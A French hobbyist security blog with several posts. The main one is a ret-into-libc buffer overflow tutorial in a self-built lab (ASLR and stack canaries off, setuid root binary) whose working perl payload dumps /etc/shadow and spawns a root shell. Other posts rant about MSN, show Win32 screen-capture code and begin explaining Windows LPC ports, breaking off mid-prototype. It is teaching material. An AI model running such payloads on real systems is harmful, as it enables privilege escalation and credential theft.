samedi 6 février 2010

Retour à l'improviste

Hello,

Je sais pas si y'en a qui se souviennent, mais j'avais arrêté ce blog. Deux bonnes raisons de le reprendre et de laisser le wordpress aux oubliettes :

- quelqu'un m'a cassé les burnes avec une faille et avait réussi à dumper la base de données : ça venait pas de wordpress, mais de l'hébergement lui-même, pourri ;
- je me rends compte qu'avec le recul, je suis plus à l'aise sur ce blog.

Pour ceux qui s'inquiétaient - s'ils existent - ben désolé, quoi. On va pas sortir les violons, j'ai réimporté un article sur le ret into libcn, mais pour les commentaires, j'y suis pas arrivé (il faut dire que j'ai pas vraiment cherché non plus).

En gros, un aimable collaborateur, à qui j'avais promis une correction de l'article que je n'ai pas faite, m'a dit :

Je ne suis pas d'accord pour els schema de stack. Celon moi,

-> Avant overflow :

Haut de pile
+------------+
| EIP |
+------------+
| dest |
+------------+
Bas de pile

L'ors d'une ecriture, les adresses "remontent", donc, si l'on place "azerty" dans un stack, on auras
+------------+
| 00yt +
+------------+
| reza |
+------------+

D'ou,
-> Apres overflow :
Haut de pile
+------------+
| EXIT |
+------------+
| *commande |
+------------+
| SYSTEM |
+------------+
|dest(=aaa..)|
+------------+
Bas de pile


Pour ce qui est de l'adresse de la variable d'environnement, on peut constater qu'elle varie selon la longueur de av[0] :) (A vrais dire, l'environnement est un gros tas de char* coller les un aux autres, et *av[0] vient se placer juste au dessus de av[ac-1], lui même au dessus de av[ac-2] .... av[0].

Bref, pour l'adresse exacte, le calcule serais :
addr = getenv()
addr -= strlen(av[0])
addr -= ac * 4
addr += strlen(av[0])_du_programme_vulnerable
addr += ac_du_programme_vulnerable * 4

En espérant ne pas avoir dis de bêtises ^^


Pas eu le temps de vérifier. Une journée dure 24 heures...

Ah, et pour ceux qui veulent que je les lie dans la "blog roll", laissez un commentaire ou mailez-moi, je le ferai dès que possible.

Encore désolé, et c'est reparti pour un tour.

Geo

[Réimport] Ret into libc : théorie & pratique

Yosh,


Je profite de ces vacances pour publier un article sur un sujet quelconque ; celui-ci est d'ailleurs connu, puisque des camarades tels que Ghosts In The Stack et kmkz ont rédigé leur propre version.


Je précise au passage que, afin de mener à bien l'objectif que je présenterai dans l'article, j'ai eu besoin de désactiver deux sécurités : la "randomisation" des adresses mémoires, qui consiste à les rendre aléatoire à chaque exécution d'un programme donc de rendre difficile l'exploitation d'un débordement de tampon ; et la protection de la pile, lorsque gcc met en place un "canary" pour détecter les débordements. Effectivement, je suis sous un noyau 2.6.28-16-generic donc plutôt récent.


Qu'est-ce que la libc ? : Il s'agit de la bibliothèque - et je jette des pierres à ceux qui disent toujours librairie... - standard, sous linux, qui va regrouper les fonctions les plus couramment utilisées : printf(), exit(), ...


Et donc, un ret into libc, c'est...? Il s'agit d'une variante des buffer overflows, consistant à écraser EIP par une adresse correspondant à une fonction dans la libc ; d'où le nom de l'attaque.


L'idée est de faire pointer EIP, à l'épilogue de la fonction appelée, sur l'adresse system() pour qu'elle soit appelée et exécute notre commande. Notre commande, bien évidemment, correspond à un argument qui devra être déposé sur la pile. Dans mon cas, vous me trouverez peut-être incompétent, mais je n'ai pas réussi à exécuter /bin/sh. Mais rassurez-vous, un "cat /etc/shadow" a réussit, donc on va dire que ça revient au même...


Première étape : le programme vulnérable + suppression des protections de l'OS



#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void copy(char *buff);

int main(int argc, char **argv) {
if(argc < 2) {
printf("Utilisation : %s \n", argv[0]);
exit(EXIT_FAILURE);
}

printf("Copie en cours...\n");
copy(argv[1]);
printf("Termine !\n");
return EXIT_SUCCESS;
}

void copy(char *buff) {
char dest[50];
strcpy(dest, buff);
}


Vous remarquerez l'inutilité du programme ; néanmoins, il y a un appel vers strcpy qui ira stocker dans un tampon de 50 octets ce que nous lui soumettons. Si on soumet plus de 50 octets, ben, ça déborde !


geo@kleromy:~/bof/vuln1$ gcc -o vuln vuln.c -fno-stack-protector
geo@kleromy:~/bof/vuln1$ ./vuln
Utilisation : ./vuln
geo@kleromy:~/bof/vuln1$ ./vuln aaaaaaaaaaaaa
Copie en cours...
Termine !
geo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 58'`
Copie en cours...
Erreur de segmentation
geo@kleromy:~/bof/vuln1$

Au passage, on en profite pour enlever la randomisation de la pile :


geo@kleromy:~/bof/vuln1$ sudo -s
root@kleromy:~/bof/vuln1# echo 0 > /proc/sys/kernel/randomize_va_space
root@kleromy:~/bof/vuln1# cat /proc/sys/kernel/randomize_va_space
0
root@kleromy:~/bof/vuln1# exit
exit
geo@kleromy:~/bof/vuln1$

Et, tant qu'à faire, faire en sorte que notre programme appartienne à root ET qu'il s'exécute avec les droits de root :


geo@kleromy:~/bof/vuln1$ sudo -s
root@kleromy:~/bof/vuln1# chown root ./vuln
root@kleromy:~/bof/vuln1# chmod +s ./vuln
root@kleromy:~/bof/vuln1# exit
exit

Maintenant, on peut commencer à préparer l'attaque puisque nous sommes dans notre cas fictif.


Seconde étape : récupérer l'adresse de l'argument de system()


Soit "cat /etc/shadow" notre chaine qu'on passera à system(). Nous allons en faire une variable d'environnement via la commande export :


geo@kleromy:~/bof/vuln1$ export commande="cat /etc/shadow"
geo@kleromy:~/bof/vuln1$

Et on va récupérer son adresse grâce au superbe outil de kmkz (par contre, l'ami, tu m'excuseras, mais je me suis permis de corriger ton programme, bien qu'il ne soit pas encore totalement efficace...) :



#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
if (argc < 2)
{
printf( " **Veuillez utiliser un ARGUMENT !!** \n");
return(0);
}

char *addr;
addr = (char *) getenv(argv[1]);

if (addr != NULL)
printf("** %s se situe à l'adresse %p **,\n",addr, addr + strlen(argv[1]) );
return(0);
}

On compile, et on exécute :


geo@kleromy:~/bof/vuln1$ ./src_bin-sh
** Veuillez utiliser un ARGUMENT !!**
geo@kleromy:~/bof/vuln1$ ./src_bin-sh commande
**cat /etc/shadow se situe a l'adresse 0xbffffe55 **


Cette adresse, chez moi, est PRESQUE bonne. Donc pas totalement, mais tant qu'on a une adresse qui s'en rapproche, c'est pas plus mal !


On a l'adresse de notre argument, maintenant, on va chercher les adresse des fonctions que nous voudrons utiliser : system() et exit() - pour terminer le programme proprement.


Troisième étape : adresses de system et exit


Cette étape est relativement simple à mettre en oeuvre ; effectivement, on n'a qu'à utiliser gdb pour déboguer notre programme vuln. Si on place un breakpoint à un endroit du programme, on pourra en profiter pour récupérer les adresses des fonctions de la libc, puisqu'elles ont été chargées en mémoire.


Voici comment procéder :


geo@kleromy:~/bof/vuln1$ gdb ./vuln
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) b main
Breakpoint 1 at 0x8048472
(gdb) r
Starting program: /home/geo/bof/vuln1/vuln


Breakpoint 1, 0x08048472 in main ()
Current language: auto; currently asm
(gdb) x system
0xb7ea68b0 : 0x890cec83
(gdb) x exit
0xb7e9bb30 : 0x57e58955
(gdb) q
The program is running. Exit anyway? (y or n) n
Not confirmed.
(gdb)


Maintenant, nous avons toutes les informations pour exploiter notre ret into libc. Il ne me reste plus qu'à vous expliquer comment ça se passe.


Lorsque vous appelez en C, par exemple, la fonction printf() de la sorte : system("echo bonjour"); ; en assembleur, le code ressemblera à :


push offset LaChaineQuiContientCoucou ; offset de la chaîne contenant coucou
call printf ; appel de la fonction

Seulement voilà, comme vous le savez (je le suppose), lorsque la routine appelle une fonction, elle va empiler l'adresse de l'instruction suivante afin de revenir à la routine appelante. La pile aura donc cette tronche :


        Haut de pile
| |
+---------------------------+
| sauvegarde EIP |
+---------------------------+
| LaChaineQuiContientCoucou |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
Bas de pile

La fonction printf() ira donc chercher ses arguments qui se trouveront en-dessous de la sauvegarde !


Pour system(), c'est pareil. Elle ira chercher son argument en-dessous de la sauvegarde d'EIP. Sauf que, voilà : dans notre attaque, notre sauvegarde d'EIP sera factice. On la remplacera par exit(), et donc, lorsque system() aura fini sa routine, pendant l'épilogue, elle dépilera l'adresse d'exit() dans EIP, et notre programme se terminera.


En résumé, voici l'état que la pile doit avoir lors de notre attaque :


        Haut de pile
| aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa... | // L'écrasement
+---------------------------------------+
| system() -> sauvegarde EIP |
+---------------------------------------+
| exit() -> sauvegarde EIP 2 |
+---------------------------------------+
| NotreCommandeExecuteeParSystem() |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
Bas de pile

Effectivement, j'ai parlé de "sauvegarde EIP 2", car la fonction system() est programmée de sorte à ce qu'on l'appelle en ayant empilé la sauvegarde d'EIP. Et donc, lorsque notre débordement de tampon aura réussi et que la fonction system() sera appelée, la pile ressemblera à ça :


          Haut de pile
| |
+---------------------------------------+
| exit() -> sauvegarde EIP faux |
+---------------------------------------+
| NotreCommandeExecuteeParSystem() |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
Bas de pile

Et la fonction ira chercher l'argument en-dessous de la fausse sauvegarde d'EIP, et dépilera cette fameuse sauvegarde d'EIP dans le registre du même nom... Ce qui quittera notre programme.


J'espère avoir été clair !


Maintenant, on exploite, tout bonnement, avec les adresses mémoires récupérées. Schéma d'attaque :
[ax54] [adresse system] [adresse exit] [adresse "cat /etc/shadow"]


geo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 54 . "\xb0\x68\xea\xb7" . "\x30\xbb\xe9\xb7" . "\x55\xfe\xff\xbf"'`
Copie en cours...
sh: /etc/shadow: Permission denied

Bon, c'est déjà ça : on n'a pas d'"Erreur de segmentation". Mais là, on nous dit que le fait d'exécuter /etc/shadow entraîne un refus d'accès. Le "cat " n'a pas été pris, c'est ça que je trouve bizarre puisqu'on a, normalement, récupéré la bonne adresse de notre chaine....


Pas de panique : ajoutez 4 - l'équivalent de la longueur de "cat " - à 0x55 pour obtenir 0x59. Et, là...


eo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 54 . "\xb0\x68\xea\xb7" . "\x30\xbb\xe9\xb7" . "\x59\xfe\xff\xbf"'`
Copie en cours...
root:!:14505:0:99999:7:::
daemon:*:14354:0:99999:7:::
bin:*:14354:0:99999:7:::
sys:*:14354:0:99999:7:::
sync:*:14354:0:99999:7:::
games:*:14354:0:99999:7:::
man:*:14354:0:99999:7:::
lp:*:14354:0:99999:7:::
mail:*:14354:0:99999:7:::
news:*:14354:0:99999:7:::
uucp:*:14354:0:99999:7:::
proxy:*:14354:0:99999:7:::
www-data:*:14354:0:99999:7:::
backup:*:14354:0:99999:7:::
list:*:14354:0:99999:7:::
irc:*:14354:0:99999:7:::
gnats:*:14354:0:99999:7:::
nobody:*:14354:0:99999:7:::
libuuid:!:14354:0:99999:7:::
syslog:*:14354:0:99999:7:::
[...]
sshd:*:14506:0:99999:7:::
geo@kleromy:~/bof/vuln1$

Le contenu de /etc/shadow s'affiche.


Et curiosité amusante... :


geo@kleromy:~/bof/vuln1$ whoami
geo
geo@kleromy:~/bof/vuln1$ export commande="cat /bin/sh"
geo@kleromy:~/bof/vuln1$ ./src_bin-sh commande
**cat /bin/sh se situe a l'adresse 0xbffffe59 **,
geo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 54 . "\xb0\x68\xea\xb7" . "\x30\xbb\xe9\xb7" . "\x59\xfe\xff\xbf"'`
Copie en cours...
# whoami
root
# exit

... C'est que, non seulement je suis obligé de mettre "cat" devant /bin/sh pour faire exécuter ma commande, mais encore : l'adresse trouvée par le programme est bonne. C'est un coup de chance, mais ça démontre bien que notre algorithme est foireux.


Mais en tout cas, l'exploitation du ret into libc a réussi.


Conclusion


Bien que nous ayons compris le principe de l'exploitation du ret into libc, vous venez de voir que l'article comporte certains points obscurs. Aussi, sachez que toute contribution par commentaire sera la bienvenue pour qui souhaite m'expliquer pourquoi commande=/bin/sh ne permet rien, ou pourquoi notre algorithme pour trouver l'adresse *exacte* de notre chaine est erroné.


Je tiens à citer les articles de Heurs et kmkz qui ont été clairs à eux deux et qui m'ont donc permis de tout comprendre.


Geo

vendredi 25 septembre 2009

Quelque chose me titille... Et, comme par hasard, Microsoft est dans le coup !

Le géant Microsoft commence à sérieusement me pomper l'air. Je vais manquer d'oxygène, si ça continue.

Entrons, sans plus tarder, dans le vif du sujet : suis-je le seul imbécile à avoir été forcé de passer à la nouvelle méga ultra giga super cool nouvelle version d'MSN 2009 ?

C'est grave, de forcer ses utilisateurs à faire ce genre de connerie. Ce foutu client de messagerie me bouffe pas mal de mémoire vive pour améliorer son esthétisme. Il y a vraiment mieux à faire...

Et puis, qui vous dit qu'ils ne sortiront pas une nouvelle version qui sera forcée d'être installée ? Et qui nous dit que nous serons aptes à rester sous Windows XP et que Microsoft ne se mettra pas à dire "Vous devez disposer d'un système d'exploitation plus récent pour pouvoir installer Windows Live Messenger 20xx." ? Ça me fiche la trouille, honnêtement.

Je vois déjà certains venir de loin : "passe à aMSN ou GAIM", me direz-vous. Je vous répondrai que je n'aie franchement pas envie de me prendre la tête pour des choses pareilles. Je reste à Windows XP et Ubuntu (en "dual boot").

Mais imaginez une seconde qu'on vous force à installer Windows Seven - par exemple - pour utiliser une nouvelle version d'MSN parce que vous devez l'installer et que votre version actuelle soit obsolète... Choisiriez-vous Seven, ou ne plus utiliser le client MSN de Microsoft ? Ca me fait peur, pour ma part.

Voilà, je vous ai dévoilé une petite chronique du moment. Peut-être inintéressante. Tant pis, hein !

Pour ceux qui veulent digérer du technique, je vais tout de même diffuser un petit code C que j'avais fait pour lister toutes les entrées de notre cache dns. Je m'étais amusé à faire de l'ingénierie inversée sur ipconfig.exe, et j'ai vu qu'il utilisait des fonctions exportées par dnsapi.dll. Cette bibliothèque contient des fonctions telles que DnsGetCacheDataTable() - celle que j'utilise - ou encore DnsFlushResolverCache() - celle qui est appelée quand on utilise l'option "/flushdns" d'ipconfig.

M'enfin, là n'est pas la question du post. C'était juste pour assurer un minimum de contenu intéressant si mon problème sur WLM en emmerde certains.

Ah, oui. Le code : http://venom630.free.fr/geo/autre_chose/cachedns.html.

En vous souhaitant un bon congé dominical.

Geo

dimanche 13 septembre 2009

Capturer son écran avec l'API Win32 dans un fichier bmp

Hoy !
C'est la rentrée depuis maintenant deux semaines, et je n'ai plus vraiment la motivation pour m'attaquer à des sujets intéressants et qui ont besoin de beaucoup de pré-requis (qu'Ivanlef0u me pardonne, car je n'oublie pas ma mission sur CsrCallServer...).

Ce matin, m'ennuyant, j'ai mis une heure à me documenter sur les API Win32 pour réaliser un petit programme qui va balayer l'écran pour y enregistrer chaque pixel - de façon ordonnée, hein - dans un fichier bitmap.

Déjà, il faut savoir que le format bitmap est propre à Microsoft, mais cela n'empêche pas qu'il soit documenté et simple à comprendre. J'avais, par ailleurs, rédigé un document un peu bidon sur ce que j'en savais : http://venom630.free.fr/geo/divers/doc_bmp.txt.

Si on se sert de ça comme support à la compréhension du format, on élabore notre structure C sans broncher :

typedef struct {
DWORD dwSize;
WORD wRes1;
WORD wRes2;
DWORD dwOffset;
DWORD dwHeaderSize;
DWORD dwWidth;
DWORD dwHeight;
WORD wFoo;
WORD wBitsPerPixels;
DWORD dwCompressed;
DWORD dwBytesPerPixels;
DWORD dwBitsPerMetterOnWidth;
DWORD dwBitsPerMetterOnHeigt;
DWORD dwNumberOfColors;
DWORD dwImportantColors;
} BMPHDR, *PBMPHDR;


Il existe peut-être une structure déjà existante fournie par microsoft, mais je ne voulais pas chercher sur le net sachant que je serais allé bien plus vite en faisant ma propre structure.

Pour les déroutés : DWORD et WORD correspondent respectivement à des tailles de données sur 4 et 2 octets. Les préfixes dw et w correspondent à "double word" et "word", pour rendre le nom des champs plus logiques.

A noter que je n'ai pas mis le champ "mot magique" dans la structure, car celui-ci fait 2 octets, et si on le rajoute, la structure ne sera plus alignée sur 4 octets. C'est plutôt gênant quand on veut écrire/lire une structure en un coup. De plus, la mot magique est toujours égal à 'BM', soit 0x4244.

Enfin, on passe à la partie la plus intéressante : les fonctions fournies par l'API Win32 pour faire joujou.

Tout d'abord, il faut récupérer la résolution de l'écran. C'est faisable via la fonction GetSystemMetrics() : http://msdn.microsoft.com/en-us/library/ms724385%28VS.85%29.aspx.

Ces fonctions retournent respectivement la longueur et la largeur de l'écran :
#include <windows.h>
GetSystemMetrics(SM_CXSCREEN);
GetSystemMetrics(SM_CYSCREEN);


Ensuite, on a besoin d'avoir un "handle" sur la totalité de la surface de l'écran. Pour cela, on utilise la fonction GetDC() ("Get Device Context") : http://msdn.microsoft.com/en-us/library/dd144871%28VS.85%29.aspx. Si l'argument de la fonction est égal à NULL, le handle retourné concerne la fenêtre entière. Si on fourni, par contre, un argument handle de type "HWND", on aura un "handle" sur une fenêtre.

Avec cet handle sur l'écran, on peut utiliser la fonction magique GetPixel() fournie par la bibliothèque GDI32. GetPixel() : http://msdn.microsoft.com/en-us/library/dd144909%28VS.85%29.aspx.

Cette fonction, comme vous pouvez le voir, utilise trois arguments :
- le premier est le handle de notre "device context" ;
- le second correspond à l'abscisse du pixel ;
- le troisième correspond à son ordonnée.

Avec cette fonction, on va donc pouvoir lire chaque pixel à l'écran. Effectivement, on fera une double boucle for pour balayer chaque ligne et récupérer chaque valeur de pixel. Par ailleurs, GetPixel() retourne la valeur "RVB" du pixel. Et dans un fichier bitmap, un pixel est écrit sur trois octets : le premier correspond au taux de bleu, le second au taux de vert et le dernier au taux de rouge.

On peut donc imaginer une structure tenant sur trois octets :
typedef struct {
char bBlue, bGreen, bRed;
} PIXEL, *PPIXEL;


Enfin, pour ma part, j'ai enregistré les pixels "à la volée" dans le fichier, et j'ai utilisé la bibliothèque standard du C pour ouvrir mon bitmap et y déposer les pixels.

Pour résumer, voici le code que je suis parvenu à élaborer :
#include <windows.h>
#include <stdio.h>

size_t GetSizeFromDim(int x, int y);

typedef struct {
DWORD dwSize;
WORD wRes1;
WORD wRes2;
DWORD dwOffset;
DWORD dwHeaderSize;
DWORD dwWidth;
DWORD dwHeight;
WORD wFoo;
WORD wBitsPerPixels;
DWORD dwCompressed;
DWORD dwBytesPerPixels;
DWORD dwBitsPerMetterOnWidth;
DWORD dwBitsPerMetterOnHeigt;
DWORD dwNumberOfColors;
DWORD dwImportantColors;
} BMPHDR, *PBMPHDR;

typedef struct {
char bBlue, bGreen, bRed;
} PIXEL, *PPIXEL;


int main(int argc, char **argv) {

BMPHDR Hdr;
Hdr.dwSize = GetSizeFromDim(GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN));
Hdr.wRes1 = 0x0000;
Hdr.wRes2 = 0x0000;
Hdr.dwOffset = 0x00000036;
Hdr.dwHeaderSize = 0x00000028;
Hdr.dwWidth = (DWORD)GetSystemMetrics(SM_CXSCREEN);
Hdr.dwHeight = (DWORD)GetSystemMetrics(SM_CYSCREEN);
Hdr.wFoo = 0x0001;
Hdr.wBitsPerPixels = 0x0018;
Hdr.dwCompressed = 0;
Hdr.dwBytesPerPixels = 0x00000004;
Hdr.dwBitsPerMetterOnWidth = 0;
Hdr.dwBitsPerMetterOnHeigt = 0;
Hdr.dwNumberOfColors = 0;
Hdr.dwImportantColors = 0;

WORD Sign = 0x4d42;

// Fichier de sortie
FILE *fout = fopen("foo.bmp","wb");
fwrite(&Sign, sizeof(WORD), 1, fout);
fwrite(&Hdr, sizeof(BMPHDR), 1, fout);



// Récupération du handle de l'écran
HDC ecran = GetDC(NULL);

// Lecture des pixels et enregistrement !
COLORREF Color;
PIXEL Pixel;
int i, j, k;

char bourrage = 0;

for(j = Hdr.dwHeight - 1; j >= 0; j--) {

// Un bmp part du bas, donc on lira les pixels à partir du bas
for(i = 0; i < Hdr.dwWidth; i++) {
Color = GetPixel(ecran, i, j);
Pixel.bBlue = GetBValue(Color);
Pixel.bGreen = GetGValue(Color);
Pixel.bRed = GetRValue(Color);

// Ecriture du pixel
fwrite(&Pixel, sizeof(PIXEL), 1, fout);
}
// On bourre
for(k = 0; k < (i % 4); k++)
fwrite(&bourrage, sizeof(char), 1, fout);
}

fclose(fout);

return 0;
}

size_t GetSizeFromDim(int x, int y) {
return sizeof(BMPHDR) + ((x*3 + (x%4))*y);
}


Vous trouverez la source propre et colorée à cette adresse : http://venom630.free.fr/geo/tools/GetSystemMetric_c.html.

Conclusion


J'avoue avoir été pressé dans mes explications. Mais je me suis dit que ça pouvait en intéresser plus de savoir comment pouvait fonctionner la capture d'écran sous Windows. Après, j'ignore si le code marche sous Vista ou s'il est véritablement portable. Mais une fois que vous comprenez l'algorithme, vous pouvez aisément faire votre propre code valide.

J'oubliais de préciser : pendant la compilation, n'oubliez pas de lier la lib gdi, sinon le compilateur vous dira qu'il ne trouve aucune référence à GetPixel() lors de l'édition de lien.

A la revoyure !

Geo

samedi 29 août 2009

Introduction aux messages LPC (windows)

Salutations !
Pendant ces vacances, j'ai eu l'occasion de me pencher sur les messages LPC - Local Procedure Call. Ça a commencé quand je me suis remis en tête de comprendre le fonctionnement de la fonction printf(). Vous vous souvenez ?

J'ai donc recommencé ce parcours. Voici ce dont je suis sûr pour le moment : printf() fais appel à la fonction standard write(), qui elle va appeler WriteFile(). Cette dernière écrit dans le flux stdout. Et à ma grande surprise - pas seulement à la mienne, en tout cas - WriteFile ne va pas faire appel à NtWriteFile() (qui est une fonction native) mais à WriteConsole() - on reste toujours dans l'api win32) et cette fameuse WriteConsole() ne fais pas non plus appel à NtWriteFile... mais à ZwRequestWaitReplyPort().

Un nom qui fait peur, non ?

J'ai donc mené des recherches, et j'ai appris que cette fonction faisait partie d'un jeu de fonctions qui assurait la communication "souterraine" entre processus/threads.

La communication LPC peut permettre de communiquer de l'userland au kerneland, et assure une rapide transmission de données. Tout se situe au niveau du noyau, puisqu'on utilise des api natives (celles qui font mettre un "syscall" dans le registre eax avant d'appeler KiFastSystemCallRet et donc faire un "sysenter").

Cet article va donc parler des messages LPC.

Comment ça se passe ?


Pour communiquer, nous avons besoin d'un client et d'un serveur. Le serveur va créer un port accessible en local uniquement. Il ne faut pas confondre avec les sockets. Les ports doivent toujours avoir un nom de la forme \NomDuPort. L'anti-slash est important.

Après, pour ceux qui connaissent les sockets, c'est un peu le même schéma. On se met en écoute sur le port créé et on attend que ça se passe. J'ai pas vraiment creusé le tout, mais il me semble évident qu'il doive exister certains ports fournissant des services windows.

Les fonctions permettant d'implémenter les messages LPC sont exportées par la ténébreuse ntdll. J'ai trouvé les prototypes ici : http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Port/NtCreatePort.html.

Cependant, il s'avère que certains prototypes ne soient pas forcément exacts ; en effet, j'ai eu à utiliser des structures différentes au fur et à mesure que mes recherches devenaient fructueuses.

Côté serveur



Pour créer un port, on utilise NtCreatePort() :
NTSYSAPI
NTSTATUS
NTAPI
NtCreatePort(
OUT PHANDLE PortHandle,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG MaxConnectInfoLength,
IN ULONG MaxDataLength,
IN OUT PULONG Reserved OPTIONAL );


La fonction prend en argument un HANDLE qu'elle va initialiser. Ce handle va nous servir par la suite (logique). Pour le reste des arguments, ils sont à peu près compréhensibles, ben que l'argument ObjectAttributes me paraisse encore flou (je ne m'y suis pas penché, à vrai dire). Je ne connais pas encore la véritable fonction de la structure OBJECT_ATTRIBUTES. Ce n'est, à vrai dire, pas la seule qui me paraît floue. Mais ça ne m'a pas empêché d'émuler une communication client/serveur.

Bref, continuons : MaxDataLength est un argument qui correspond au maximum d'octets transférables sur le port. Pour le reste, on s'en tamponne le coquillage (pour le moment, hein !).

Après avoir créé notre port, il faut se mettre en écoute dessus via NtListenPort(). Cette fonction est bloquante et attend qu'une connexion se fasse de la part du client (nous verrons quelles fonctions il utilise).

Prototype de NtListenPort :
NTSYSAPI
NTSTATUS
NTAPI
NtListenPort(
IN HANDLE PortHandle,
OUT PLPC_MESSAGE ConnectionRequest );


Le handle attendu est celui qui a été traité, au préalable, par notre fonction NtCreatePort. Enfin, l'argument ConnectionRequest n'est pas une structure LPC_MESSAGE, mais plutôt une structure PORT_MESSAGE. Cet argument représente une en-tête de message LPC qui sera initialisée par le serveur.

La fonction bloque jusqu'à la connexion d'un client. Ensuite, lorsqu'un client demande à se connecter, il faut accepter la connexion via NtAcceptConnectPort().
Prototype :
NTSYSAPI
NTSTATUS
NTAPI

NtAcceptConnectPort(

OUT PHANDLE ServerPortHandle,
IN HANDLE AlternativeReceivePortHandle OPTIONAL,
IN PLPC_MESSAGE ConnectionReply,
IN BOOLEAN AcceptConnection,
IN OUT PLPC_SECTION_OWNER_MEMORY ServerSharedMemory OPTIONAL,
OUT PLPC_SECTION_MEMORY ClientSharedMemory OPTIONAL );


Le premier argument correspond au handle du serveur que va créer la fonction. Ce handle sera différent de celui créé par le port, bien entendu. Ceux qui sont marqués en OPTIONAL, on s'en moque pas mal pour l'instant. Ceux qui sont intéressants sont ConnectionReply et AcceptConnection.
L'argument ConnectionReply - qui est une structure PORT_MESSAGE au lieu de LPC_MESSAGE (je marquerai dès à présent "PPORT_MESSAGE", donc...) - correspond à la structure qu'on a envoyée à NtListenPort(), également en tant que PORT_MESSAGE. Quant au booléen AcceptConnection, il indique simplement et clairement si on doit accepter la connexion côté client ou non (mais j'avoue ne pas trop savoir pourquoi un tel argument ; je me suis mal renseigné, une fois de plus).

La connexion est acceptée. Il faut la "finaliser" via NtCompleteConnectPort. C'est comme si le serveur dit au client : "Ok, tout est en règle, on peut commencer à bosser ensemble".
Prototype :

NTSYSAPI
NTSTATUS
NTAPI

NtCompleteConnectPort(

IN HANDLE PortHandle );

La fonction attend, en argument, l'handle du serveur. Tout simplement.

Le serveur peut enfin attendre de recevoir des données. Il va recevoir, respectivement, les en-têtes du message, une commande assignée par le client et le corps du message.

Voici la structure d'un message transféré entre clients et serveurs LPC :
typedef struct _TRANSFERRED_MESSAGE
{
PORT_MESSAGE Header; // En-tête
WCHAR MessageText[48]; // Le message lui-même

} TRANSFERRED_MESSAGE, *PTRANSFERRED_MESSAGE;


Bien qu'on ne demande qu'en argument PORT_MESSAGE, les fonctions pourront tout de même écrire dans le champ MessageText puisqu'il suit. Inutile de préciser qu'ils respectent l'alignement des structures (taille alignée sur un multiple de 4).
J'ai trouvé cette structure dans un code relatif à un article que je mettrai en référence à la fin du blog.

Voici la structure PORT_MESSAGE :
typedef struct _PORT_MESSAGE
{
union
{
struct
{
USHORT DataLength; // Length of data following the header (bytes)
USHORT TotalLength; // Length of data + sizeof(PORT_MESSAGE)
} s1;
ULONG Length;
} u1;

union
{
struct
{
USHORT Type;
USHORT DataInfoOffset;
} s2;
ULONG ZeroInit;
} u2;

union
{
CLIENT_ID ClientId;
double DoNotUseThisField; // Force quadword alignment
};

ULONG MessageId; // Identifier of the particular message instance

union
{
ULONG_PTR ClientViewSize; // Size of section created by the sender (in bytes)
ULONG CallbackId; //
};

} PORT_MESSAGE, *PPORT_MESSAGE;


On remarque que le champ DataLength va permettre aux fonctions de chercher les données après le header.

Voici la fonction native qui va permettre la réception des données sur le port : NtReplyWaitReceivePort() :
NTSYSAPI
NTSTATUS
NTAPI

NtReplyWaitReceivePort(

IN HANDLE PortHandle,
OUT PHANDLE ReceivePortHandle OPTIONAL,
IN PLPC_MESSAGE Reply OPTIONAL,
OUT PLPC_MESSAGE IncomingRequest );


Les arguments marqués en OPTIONAL, comme d'habitude, on s'en moque. On voit, une fois de plus, que la fonction attend le handle du serveur en argument premier. Le dernier argument correspondra au message LPC qu'elle aura récupéré en kerneland ; celui envoyé par le noyau.

Lorsque le serveur en a fini avec le client, il doit fermer le handle du serveur sans détruire le handle retourné par NtCreatePort. Pour cela, il a recourt à la fonction suivante : NtClose() :
NTSTATUS NtClose(
HANDLE Handle
);


La fonction attend simplement un handle à fermer. On soumettra le handle du serveur à fermer.

Côté Client



Un client, ça se connecte (sans déconner ?). On va utiliser la fonction NtConnectPort() pour se connecter. Son prototype est assez chargé, puisqu'il faut encore s'occuper des "security descriptor" et tout le bordel.
Prototype :
NTSYSAPI
NTSTATUS
NTAPI

NtConnectPort(

OUT PHANDLE ClientPortHandle,
IN PUNICODE_STRING ServerPortName,
IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
IN OUT PLPC_SECTION_OWNER_MEMORY ClientSharedMemory OPTIONAL,
OUT PLPC_SECTION_MEMORY ServerSharedMemory OPTIONAL,
OUT PULONG MaximumMessageLength OPTIONAL,
IN ConnectionInfo OPTIONAL,
IN PULONG ConnectionInfoLength OPTIONAL );


On oublie les arguments optionnels. Le premier argument correspond au handle qui sera créé par la fonction. Le second argument correspond au nom du port auquel se connecter (doit être le même que celui créé par le serveur, logiquement). L'argument MaximumMessageLength correspond à la taille maximale que le serveur aura fixé. Pour le reste, j'évite de détailler, de peur de dire de la mouise.

Pour envoyer des données, le client utilisera NtRequestPort() :
NTSYSAPI
NTSTATUS
NTAPI

NtRequestPort(

IN HANDLE PortHandle,
IN PPORT_MESSAGE Request );


Pareil, on attend un handle et une en-tête LPC.

Remarquez, il peut aussi utiliser NtRequestWaitReplyPort() (comme printf, sauf qu'elle se sert de celle en Zw*) :

NTSYSAPI
NTSTATUS
NTAPI

NtRequestWaitReplyPort(

IN HANDLE PortHandle,
